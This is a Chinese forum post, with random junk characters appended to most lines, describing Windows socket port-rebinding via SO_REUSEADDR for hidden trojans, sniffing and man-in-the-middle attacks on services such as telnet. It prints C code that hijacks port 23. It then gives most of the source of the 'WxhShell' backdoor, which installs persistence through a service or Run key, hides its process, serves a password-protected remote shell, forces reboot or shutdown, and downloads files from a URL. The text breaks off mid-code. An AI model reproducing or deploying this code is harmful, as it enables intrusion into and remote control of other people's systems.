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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: HX p $\%A)  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); (6#, $Ze   
qlgo#[i  
  saddr.sin_family = AF_INET; p,K]`pt=  
Q=~ *oYR  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); QpZ CU]  
dF<GuS;l5  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 6./3w&D;  
qzt.k^'-^  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 KrDG  
# %$U-ti  
  这意味着什么?意味着可以进行如下的攻击: kI|7o>}<   
/pS Y~*  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Qt`;+N(  
`!A<XiAOmM  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ]Ll<Z  
{oK4 u  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 |)}&: xA%  
Ufr,6IX  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  s7> a  
A4>j4\A[M  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 (764-iv(  
82*nC!P3E  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ' V#$PZx  
zo>@"uH4  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 %ot4$ eY  
N0_@=uE  
  #include #l?E2 U4WL  
  #include e"O c  
  #include Z]\VOA>  
  #include    !xxdC  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ]oIP;J:&  
  int main() aoP=7d|K/  
  { QxI^Bx  
  WORD wVersionRequested; <tx`#,  
  DWORD ret; *'ffMnSZ  
  WSADATA wsaData; wX Kg^%t\  
  BOOL val; k ^(RSu<  
  SOCKADDR_IN saddr; d$T856  
  SOCKADDR_IN scaddr; B9h'}460H  
  int err; 2{;~Bg d  
  SOCKET s; s5cY>  
  SOCKET sc; %;MM+xVVX  
  int caddsize; |Jpi|'  
  HANDLE mt; T1[B*RwC  
  DWORD tid;   w1J%%//(h  
  wVersionRequested = MAKEWORD( 2, 2 ); <A`zK  
  err = WSAStartup( wVersionRequested, &wsaData ); Mj5&vs~n;  
  if ( err != 0 ) { [wv;CUmgc  
  printf("error!WSAStartup failed!\n"); e WWtMnq  
  return -1; i_<GSUTTr/  
  } /=IBK`  
  saddr.sin_family = AF_INET; &~{0@/  
   IJ E{JH  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 yYN_]& ag  
_k O<|ev  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); \;bDDTM  
  saddr.sin_port = htons(23); 8qF OO3c\V  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) @h)Z8so  
  { Nm4 h  
  printf("error!socket failed!\n"); NPjNkpWm&=  
  return -1; :F`-<x/  
  } c>.=;'2  
  val = TRUE; `m+o^!SGe  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 P?/Mrz   
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) TK s l.|  
  { bJ5 VlK67R  
  printf("error!setsockopt failed!\n"); GX0S9s  
  return -1; K$kI%eGZA  
  } dk>qTY+j5  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; `*-rz<G  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 mGP&NOR0^y  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 >\4"k4d}  
R8N*. [  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) O f.%rpgy  
  { ag{cm'.  
  ret=GetLastError(); +Jw+rjnP  
  printf("error!bind failed!\n");  ow2tfylV  
  return -1; ;%B:1Z  
  } y)uxj-G  
  listen(s,2); hA:RVeS{  
  while(1) O0RV>Ml'&  
  { .{,fb  
  caddsize = sizeof(scaddr); ,0\P r  
  //接受连接请求 4D=^24f`0  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Aw"Y_S8.  
  if(sc!=INVALID_SOCKET) /ht-]Js$G  
  { *Eg[@5;QA  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); _MxKfah'  
  if(mt==NULL) B:rzM:BQ  
  {  4"~F  
  printf("Thread Creat Failed!\n"); Zg=jDPt}  
  break; HIsB)W&%@  
  } dh K<5E  
  } d<_#Q7]I4  
  CloseHandle(mt); LVe[N-K  
  } JxmFUheLt  
  closesocket(s); "(+p1  
  WSACleanup(); 0'zX6%  
  return 0; :878q TB  
  }   KvY1bMU!  
  DWORD WINAPI ClientThread(LPVOID lpParam) *|Bt!  
  { n7VQi+i'  
  SOCKET ss = (SOCKET)lpParam; Z# o;H$  
  SOCKET sc; 8Os: SC@Q  
  unsigned char buf[4096]; wn/Y 5   
  SOCKADDR_IN saddr; 'y%*W:O  
  long num; jeWI<ms  
  DWORD val; N:~CN1  
  DWORD ret; SL 5QhP  
  //如果是隐藏端口应用的话,可以在此处加一些判断 `"h[Xb#A`b  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   we&D"V  
  saddr.sin_family = AF_INET; cH6<'W{*  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); L['g')g.  
  saddr.sin_port = htons(23); *_@t$W  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Ex -?[Hq  
  { 0HPqoen$  
  printf("error!socket failed!\n"); bwyj[:6l  
  return -1; N}CeQ'l[R  
  } uy rS6e0  
  val = 100; w^E$R  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) cxz\1Vphd  
  {  RxO !h8  
  ret = GetLastError(); [m0G;%KR/  
  return -1; )QAS7w#k  
  } l|sC\;S  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 1<F6{?,z  
  { ypLt6(1j%  
  ret = GetLastError(); ZW%;"5uVm)  
  return -1; |"aop|  
  } BI6]{ZC"  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) "@(Sw>*o  
  { 2g HRfTF  
  printf("error!socket connect failed!\n"); -(JBgM"  
  closesocket(sc); :CGh$d] +  
  closesocket(ss); 6<Txkk  
  return -1; a/TeBx#yG  
  } 8iUYZF  
  while(1) Lk2;\D>  
  { @&f~#Xe  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 E-v^eMWX  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 IN?6~O p  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ~nRbb;M  
  num = recv(ss,buf,4096,0); i;fU],aK!  
  if(num>0) nO `R++  
  send(sc,buf,num,0); SQ-CdpT<  
  else if(num==0) :0'vzM  
  break; #tN!^LLi  
  num = recv(sc,buf,4096,0); 8;$zD]{D1  
  if(num>0) B\\M%!a>  
  send(ss,buf,num,0); {y`n _  
  else if(num==0) SYA0Hiw7P  
  break; 1T0s UIY  
  } q);@iiJ-  
  closesocket(ss); cCv@f ks  
  closesocket(sc); "R^0eNv$  
  return 0 ; v,Uu )Z  
  } UTVqoCHA  
UO4z~  
W%@0Ym `7  
========================================================== )St`}qu;  
M a^}7D /  
下边附上一个代码,,WXhSHELL 5%]O'h  
+wGFJLHJ  
========================================================== `]4tJJy$  
` M!'PMX  
#include "stdafx.h" ;4k/h/o1#  
'Esz #@R  
#include <stdio.h> JnPwqIF1  
#include <string.h> F4$9r^21r  
#include <windows.h> 85vyt/.,k  
#include <winsock2.h> {sF;R.P&r  
#include <winsvc.h> ODKHI\U  
#include <urlmon.h> l,ic-Y1  
@umn#*  
#pragma comment (lib, "Ws2_32.lib") e'2w-^7  
#pragma comment (lib, "urlmon.lib") _Lgi5B%   
( "wmc"qH  
#define MAX_USER   100 // 最大客户端连接数 ~F[JupU  
#define BUF_SOCK   200 // sock buffer hVW1l&s  
#define KEY_BUFF   255 // 输入 buffer t#2szr+  
\kP1Jr  
#define REBOOT     0   // 重启 G;AJBs>Y}  
#define SHUTDOWN   1   // 关机 ;N^4R$Q.  
.#LvvAeh  
#define DEF_PORT   5000 // 监听端口 JZ)w  
B4{F)Zb  
#define REG_LEN     16   // 注册表键长度 & Tkl-{I  
#define SVC_LEN     80   // NT服务名长度 u-R;rf5%k  
1AQ3<  
// 从dll定义API I]Ws   
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); (l}nwyh5  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); #&sn l  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); l4AXjq2  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); WO=P~F<  
C ett*jm_  
// wxhshell配置信息 / mwsF]Y  
struct WSCFG { J<MuWgx&  
  int ws_port;         // 监听端口 KJW^pAj$B  
  char ws_passstr[REG_LEN]; // 口令 jdd3[  
  int ws_autoins;       // 安装标记, 1=yes 0=no A'suZpL  
  char ws_regname[REG_LEN]; // 注册表键名 /X;! F>  
  char ws_svcname[REG_LEN]; // 服务名 7ZFd;-  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 +,UuJ6[n  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息  / !aVv  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 j`QXl  
int ws_downexe;       // 下载执行标记, 1=yes 0=no  Sr+ &  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" %Mf3OtPiJW  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 TNlS2b1  
q3ebps9^  
}; QeQxz1  
naM=oSB(  
// default Wxhshell configuration : 2A\X' @  
struct WSCFG wscfg={DEF_PORT, P(B&*1X  
    "xuhuanlingzhe", 6 - IThC  
    1, v*^'|QyM7  
    "Wxhshell", $.O(K4S  
    "Wxhshell", YbJB.;qK  
            "WxhShell Service", r TK)jxklX  
    "Wrsky Windows CmdShell Service", }i52MI1-XP  
    "Please Input Your Password: ", *R8P brN  
  1, UVD*GsBk  
  "http://www.wrsky.com/wxhshell.exe", JnS@}m  
  "Wxhshell.exe" ]Uul~T  
    }; (S8hr,%n  
mV|Z5= f  
// 消息定义模块 ~Hvf"bvK|  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; K QCF "  
char *msg_ws_prompt="\n\r? for help\n\r#>"; &X)^G#  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; }8Nr .gY  
char *msg_ws_ext="\n\rExit."; @+Anp4%;Y  
char *msg_ws_end="\n\rQuit."; HjT-5>I7f  
char *msg_ws_boot="\n\rReboot..."; h%]  D[g  
char *msg_ws_poff="\n\rShutdown..."; 9n;6;K#  
char *msg_ws_down="\n\rSave to "; v K!vA-7  
\xX'SB#.l  
char *msg_ws_err="\n\rErr!"; K}tC8D  
char *msg_ws_ok="\n\rOK!"; a.up&g_$  
&,'CHBM  
char ExeFile[MAX_PATH]; 1WAps#b.  
int nUser = 0; |fPR7-  
HANDLE handles[MAX_USER];  )OZ  
int OsIsNt; w%~Mg3|  
-NUA  
SERVICE_STATUS       serviceStatus; wcL|{rUXba  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; n8o(>?Kw  
e84O 6K6o  
// 函数声明 y)T|1)  
int Install(void); B1o*phM g  
int Uninstall(void); ' [%?j?2r  
int DownloadFile(char *sURL, SOCKET wsh); ( c +M"s  
int Boot(int flag); F+/#ugI  
void HideProc(void); 4]no#lVRJ  
int GetOsVer(void); *C,1 x5  
int Wxhshell(SOCKET wsl); <h*$bx]9 +  
void TalkWithClient(void *cs); ~X,ZZ 9H  
int CmdShell(SOCKET sock); Ki\J)l  
int StartFromService(void); )b-KF}]d  
int StartWxhshell(LPSTR lpCmdLine); :</KgR0I  
y~<_ux,  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); oEsqLh9a|  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); GE}>{x=^x  
Z;cA_}5  
// 数据结构和表定义 RH "EO4  
SERVICE_TABLE_ENTRY DispatchTable[] = A:V/i:IZfR  
{ -qpe;=g&f  
{wscfg.ws_svcname, NTServiceMain}, .<Jq8J  
{NULL, NULL} U)D}J_Zi(  
}; +,J!xy+~,  
9%DLdc\z;  
// 自我安装 9C: V i  
int Install(void) j!K{1s[.y  
{ EB8<!c ?  
  char svExeFile[MAX_PATH]; ~Z5Wwp]a  
  HKEY key; *P+8^t#Vp  
  strcpy(svExeFile,ExeFile); te&p1F  
?e[]UO  
// 如果是win9x系统,修改注册表设为自启动 J:0`*7  
if(!OsIsNt) { U8 n=Ro  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Ns.{$'ll  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); h`:B8+k  
  RegCloseKey(key); c4M]q4]F  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { kjj?X|Un  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); <'vtnz  
  RegCloseKey(key); **F-#",  
  return 0; I1W~;2cK  
    } <Gz*2i  
  } +{cCKRm  
} 9C|-|mo  
else { nOK1Wc%/'  
^o Q^/v~  
// 如果是NT以上系统,安装为系统服务 RT"JAJTi/  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); $#FA/+<&$  
if (schSCManager!=0) Cd7l+~*Y  
{ 1_z~<d @?;  
  SC_HANDLE schService = CreateService aV G4D f  
  ( teJY*)d  
  schSCManager, PB!*&T'!  
  wscfg.ws_svcname, .gA4gI1kH  
  wscfg.ws_svcdisp, 7 '{wl,u  
  SERVICE_ALL_ACCESS, cTL W}4m%g  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , La\|Bwx  
  SERVICE_AUTO_START, DpQ:U5j  
  SERVICE_ERROR_NORMAL, [wcp2g3Px  
  svExeFile, w s7LDY&(  
  NULL, w>&g'  
  NULL, RNb"O{3  
  NULL, PRN%4G  
  NULL, e# KP3Lp  
  NULL :jGgX>GG  
  ); TTz_w-68  
  if (schService!=0) [+b&)jN*2  
  { 3| 0OW Jk  
  CloseServiceHandle(schService); @vvGhJ1m`  
  CloseServiceHandle(schSCManager); 89J7hnJC  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");  o*xft6U  
  strcat(svExeFile,wscfg.ws_svcname); o<7'(Pz  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { d? 4-"9Y  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Fy^MI*}BZ  
  RegCloseKey(key); YBQ{/"v%|  
  return 0; ?$%2\"wX~7  
    } ~s>Ud<l%r  
  } _+. )8   
  CloseServiceHandle(schSCManager); AmBLZ<f;  
} "K#zY~>L  
} =VF%Z[Gm  
\(ju0qFqH  
return 1; -qJO6OM  
} Il$Jj-)  
8Oo16LPD  
// 自我卸载 ^q/_D%]C  
int Uninstall(void) N6!$V7oT  
{ }RZN3U=  
  HKEY key; "SU O2-Gj  
W_h!Puj_  
if(!OsIsNt) { VHx:3G  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { L*1yK*  
  RegDeleteValue(key,wscfg.ws_regname); </|m^$v  
  RegCloseKey(key); b!z kQ?h  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { >e QFY^d5  
  RegDeleteValue(key,wscfg.ws_regname); HI{IC!6  
  RegCloseKey(key); nmUMg  
  return 0; o7v,:e:  
  } B-[qS;PY%  
} P30|TU+B  
} pFwhv w  
else { CF/8d6}Vf  
z460a[Wl  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Mtq^6`JJ'  
if (schSCManager!=0) 2Z*^)ZQB  
{ KNqs=:i  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); X>ck.}F  
  if (schService!=0) '%[r9 w  
  { EGK7)O'W  
  if(DeleteService(schService)!=0) {  Yk yB  
  CloseServiceHandle(schService); fi';Mb3B3  
  CloseServiceHandle(schSCManager); 48n7<M;I  
  return 0; N6%M+R/Q  
  } 7^DN8g"&\  
  CloseServiceHandle(schService); HMVyXulU  
  } >d$Sh`a6  
  CloseServiceHandle(schSCManager); gt Rs||  
} z#\YA]1  
} ]xN)>A2  
GaLQ/V2R  
return 1; U t.#h="  
} 'Sjt*2blq  
Y%@a~|  
// 从指定url下载文件 vABUUAo!Jr  
int DownloadFile(char *sURL, SOCKET wsh) zfm#yDf  
{ &``nYI g/  
  HRESULT hr; T#-U\C~o  
char seps[]= "/"; E<L6/rG  
char *token; 3}2a3)  
char *file; %q_b\K  
char myURL[MAX_PATH]; qp55U*  
char myFILE[MAX_PATH]; (sx,Ol  
 El |Y]f  
strcpy(myURL,sURL); ]?(_}""1  
  token=strtok(myURL,seps); *&~wl(+O=  
  while(token!=NULL) >m8~Fs0  
  { -*~~ 00w  
    file=token; GbJVw\5Z*  
  token=strtok(NULL,seps); "UTAh6[3oD  
  } */A ~lR|  
ZoroK.N4A%  
GetCurrentDirectory(MAX_PATH,myFILE); ,nz3S5~  
strcat(myFILE, "\\"); L<_zQ  
strcat(myFILE, file); Kp%:\s,lO  
  send(wsh,myFILE,strlen(myFILE),0); Pze{5!  
send(wsh,"...",3,0); NLF6O9  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);  g\=e86  
  if(hr==S_OK) PR~9*#"v..  
return 0; s)j3+@:#  
else E  *{_=pX  
return 1; )1o<}7  
>IE`, fe  
} do=s=&T  
A!^gF~5  
// 系统电源模块 HR$;QHl~F  
int Boot(int flag) l$3YJ.n|s~  
{ *e *V%w~75  
  HANDLE hToken; n ?+dX^j  
  TOKEN_PRIVILEGES tkp; wv&#lM(  
V25u_R`{  
  if(OsIsNt) { p _q]Rt  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); [?nM)4d  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); s[#ww =T\  
    tkp.PrivilegeCount = 1; C !6d`|  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;  @t<KS&  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); uZ8^"  W  
if(flag==REBOOT) { f/{*v4!  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) A,]%*kg2  
  return 0; 6tv-PgZ  
} ioJr2wq6  
else { W;!)Sj4<T!  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) T9&bY>f?  
  return 0; <}bF49z  
} ##|]el%Y  
  } &~#y-o"  
  else { f'%Pkk  
if(flag==REBOOT) { iBaz1pDc  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) &20}64eW%  
  return 0; j|2s./!Qg  
} AQIBg9y7  
else { tLo_lLn*~%  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) q-TDg0  
  return 0; ,BE4z2a  
} %rq/&#jC  
} %3mh'Z -[f  
d{*e0  
return 1; T7~Vk2o%(  
} DBk]2W|i  
POt 8G  
// win9x进程隐藏模块 vbSycZ2M7  
void HideProc(void) o2W^!#]=  
{ eGj[%pk  
=uD^#AX  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ?<6yKxn  
  if ( hKernel != NULL ) 0t(js_  
  { $&jte_hv  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); p@iU9K\,  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ^]ig*oS\`  
    FreeLibrary(hKernel); u @#fOu  
  } xDEjeM G  
t(:w):zE  
return; ;T*o RS  
} vz3#.a~2  
-&JQdrs  
// 获取操作系统版本 -SN6&-#c_  
int GetOsVer(void) "ot# g"  
{ 2C"[0*.[N  
  OSVERSIONINFO winfo; ,WQg.neOA  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); DZqY=Sze  
  GetVersionEx(&winfo); vfloha p  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) O8)N`#1>+  
  return 1; #9CLIYJAd  
  else qUKSo9  
  return 0; <db>~@;X!  
} `PS>"-AY2  
w'7=CzfYn  
// 客户端句柄模块 B\Uocn  
int Wxhshell(SOCKET wsl) F P>.@ Y  
{ 2VaKt4+`  
  SOCKET wsh; qA5 Ug  
  struct sockaddr_in client; ^/fasl$#  
  DWORD myID; Er@OmNT  
Ri;_ 8v[H|  
  while(nUser<MAX_USER) Aqo90(jffx  
{ r>cN,C  
  int nSize=sizeof(client); &l?AC%a5  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 6o<(,\ad [  
  if(wsh==INVALID_SOCKET) return 1; !Z<=PdI1Ys  
i6)HC  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); {B[ }}wX$  
if(handles[nUser]==0) Nx=rw h  
  closesocket(wsh); ]_43U` [#  
else ~Aw.=Yi=  
  nUser++; OZ, Xu&N  
  } AA<QI'6  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); QJ2D C  
':!aFMj^  
  return 0; e-*-91D  
} do:IkjU~  
?}"39n  
// 关闭 socket ' wni.E&  
void CloseIt(SOCKET wsh) h&2l0 |8k  
{ fs0EbVDF  
closesocket(wsh); k8z1AP  
nUser--; <h%I-e6  
ExitThread(0); 0t7vg#v|  
} Z7p!YTA  
8\Bb7*  
// 客户端请求句柄 K/M2L&C  
void TalkWithClient(void *cs) A\<W x/  
{ I &;9  
AK(x;4  
  SOCKET wsh=(SOCKET)cs; `k`P;(:  
  char pwd[SVC_LEN]; Go(Td++HS  
  char cmd[KEY_BUFF]; ]i\;#pj}  
char chr[1]; n&3}F?   
int i,j; GQ2/3kt  
Y`rli  
  while (nUser < MAX_USER) { nt8& Mf  
w|c200Is}e  
if(wscfg.ws_passstr) { iF Zqoz  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); mM.YZUX  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Ug\$Ob5=q  
  //ZeroMemory(pwd,KEY_BUFF); XIn,nCY;  
      i=0; %Ni"*\  
  while(i<SVC_LEN) { 5GbC}y>  
;OZl' . %`  
  // 设置超时 \3`r/,wY  
  fd_set FdRead; ><I{R|bC  
  struct timeval TimeOut; lBGYZ--  
  FD_ZERO(&FdRead); -\n%K  
  FD_SET(wsh,&FdRead); %`*On~  
  TimeOut.tv_sec=8; quRTA"!E  
  TimeOut.tv_usec=0; K/K|[=bl  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); @Gt.J*!s/  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ih-J{1  
jl5&T{z  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); )Z)Gb~G  
  pwd=chr[0]; Ub/ZzAwq  
  if(chr[0]==0xd || chr[0]==0xa) { |-L7qZu%  
  pwd=0; j4I ~  
  break; 3OFI> x,h  
  } ")<5 VtV  
  i++; /36gf  
    } %j.n^7i]^:  
I-#7Oq:Np  
  // 如果是非法用户,关闭 socket )D ~ 5  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); pQ>|d H+.  
} OX%#8Lx  
U7Oa 13Qz  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Bj<s!}i{[  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); f-p$4%(  
G.`},c;A-  
while(1) { sNM ]bei  
-V-I&sO<  
  ZeroMemory(cmd,KEY_BUFF); <Zvvx  
Q[ ?R{w6  
      // 自动支持客户端 telnet标准   tQas_K5  
  j=0; @JGFG+J}  
  while(j<KEY_BUFF) { %uCsCl  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); |Z)}-'QUJ  
  cmd[j]=chr[0]; p6V#!5Q  
  if(chr[0]==0xa || chr[0]==0xd) { ~6IY4']m*  
  cmd[j]=0; ;wkMa;%`g|  
  break; k7j.VpN9  
  } `mA;1S  
  j++; ]6M,s0  
    } p]ujip  
(;&}\OX6nm  
  // 下载文件 KIp^| k7>  
  if(strstr(cmd,"http://")) { '~ H`Ffd.  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); AUu<@4R7  
  if(DownloadFile(cmd,wsh)) DQ30\b"gU  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q6D>(H#"0  
  else ,H%[R+)  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {2YqEX-I*  
  } %}e['d h  
  else { }0tHzw=#%e  
4.^T~n G  
    switch(cmd[0]) { #:By/9}-  
  xy b=7  
  // 帮助 FSm.o?>  
  case '?': { Np%Q-T\  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); K_~kL0=4  
    break; a"X h  
  } r-go921  
  // 安装 l i)6^f#  
  case 'i': { L""ZI5J{F9  
    if(Install()) J]#rh5um  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z,O* p,Gzn  
    else FzcXSKHV %  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0|.jIix;  
    break; ]A5Y/dd  
    } >KL=(3:":p  
  // 卸载 Hqs!L`oW)  
  case 'r': { 9cHo~F|ur  
    if(Uninstall()) Rk7F;2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .{\eco  
    else qdn_ ZE  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); xT]t3'y|-  
    break; yo/;@}g}  
    } /]^Y\U^  
  // 显示 wxhshell 所在路径 Li]96+C$}  
  case 'p': { 1G7l+6w5~^  
    char svExeFile[MAX_PATH]; `g3AM%3  
    strcpy(svExeFile,"\n\r"); '(rD8 pc  
      strcat(svExeFile,ExeFile); ?'Hd0)yZ  
        send(wsh,svExeFile,strlen(svExeFile),0); bm 4RRI  
    break; i@.Tv.NZ  
    } / Ws>;0  
  // 重启 Sc/l.]k+  
  case 'b': { u*): D~A  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); /'aqQ K<  
    if(Boot(REBOOT)) (Hj[9[=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;Mo_B9  
    else { 8QK8q: |  
    closesocket(wsh); JRw,${W  
    ExitThread(0); KILX?Pt[7  
    } U 7.kYu  
    break; `BKb60  
    } "gJ.mhHX  
  // 关机 NIVR;gm  
  case 'd': { z?.9)T9_  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); vQyY %  
